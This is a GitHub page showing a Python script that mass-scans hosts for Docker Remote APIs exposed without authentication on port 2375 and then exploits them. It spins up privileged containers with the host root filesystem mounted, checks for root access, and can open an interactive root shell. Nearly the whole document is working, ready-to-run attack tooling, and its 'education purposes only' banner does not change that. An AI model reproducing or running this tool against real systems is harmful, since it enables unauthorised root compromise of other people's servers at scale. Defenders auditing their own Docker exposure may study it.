-
Notifications
You must be signed in to change notification settings - Fork 35
/
Copy pathdocker_remote_api_exploit.py
116 lines (99 loc) · 4.58 KB
/
docker_remote_api_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#
# FOR EDUCATION PURPOSES ONLY!
# Coded by : @justakazh
# Techincal support by @abaykan
#
# Note: you can customize the docker port, Pool, endopoint, and pattern.
import requests
import subprocess
from multiprocessing.dummy import Pool
import json
import os
import argparse
class Scanner:
def __init__(self, args):
self.args = args
if self.args.url:
print(f"Target URL: {args.url}")
self._checkVuln(args.url)
if self.args.file:
print(f"Input File: {args.file}")
l = [i.strip() for i in open(args.file, "r").readlines()]
if self.args.mass_check:
p = Pool(50) # #pool
p.map(self._checkVuln, l)
elif self.args.exploit:
for target in l:
self._exploit(target)
def _checkVuln(self, target):
try:
remove_proto = target.replace("http://", "").replace("https://", "").replace("/version", "").replace(
":2375", "")
target = f"http://{remove_proto}"
url = f"{target}:2375/version"
resp = requests.get(url, timeout=10).text
if "Docker Engine" in resp or "GoVersion" in resp or "BuildTime" in resp: # pattern
msg = f"[+] Potential -> {url}"
print(msg)
if self.args.output:
open(self.args.output, "a").write(url + "\n")
if self.args.exploit == True and self.args.mass_check == False:
self._exploit(target)
else:
msg = f"[-] bad -> {url}"
print(msg)
except Exception as e:
open("error_log", "a").write(target + " | Error\n")
def _exploit(self, target):
try:
remove_proto = target.replace("http://", "").replace("https://", "").replace("www.", "").replace("/version",
"").replace(
":2375", "")
if (
self.args.file is None
and self.args.interact == True
and self.args.mass_check == False
):
print("[*] check for remote connection [interact mode]")
command = f"docker -H {remove_proto}:2375 run --rm -it --privileged --net=host -v /:/mnt ubuntu /bin/bash"
os.system(command)
else:
print("[*] check for remote connection")
command = f"docker -H {remove_proto}:2375 run --rm -it --privileged --net=host -v /:/mnt alpine /bin/sh -c 'id'"
docker_run = subprocess.getoutput(command)
if "root" in docker_run:
msg = f"[+] exploited -> {remove_proto} | {docker_run}"
print(msg)
if self.args.output:
save = f"{remove_proto} | {docker_run}\n"
open(self.args.output, "a").write(save)
else:
msg = f"[-] failed -> {remove_proto} | you can make sure by manual"
print(msg)
except Exception:
open("error_log", "a").write(target + " | Error\n")
if __name__ == "__main__":
print('''
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
Coded by @justakazh
DISCLAIMER: This educational material is provided for learning and research purposes only. The developer and publisher of this content do not
accept any responsibility or liability for any misuse or unlawful actions conducted by individuals who have accessed or utilized this material.
''')
# Create an ArgumentParser
parser = argparse.ArgumentParser(description="Mass Docker Remote API Scanner And Exploit")
parser.add_argument("--url", type=str, help="Specify the target Docker API URL")
parser.add_argument("--file", type=str, help="Specify a file for input")
parser.add_argument("--output", type=str, help="Specify a file for output")
# Optional arguments
parser.add_argument("--mass-check", action="store_true", help="Enable mass scanning/exploitation")
parser.add_argument("--exploit", action="store_true", help="Exploit target(s)")
parser.add_argument("--interact", action="store_true", help="Interact mode")
args = parser.parse_args()
Scanner(args)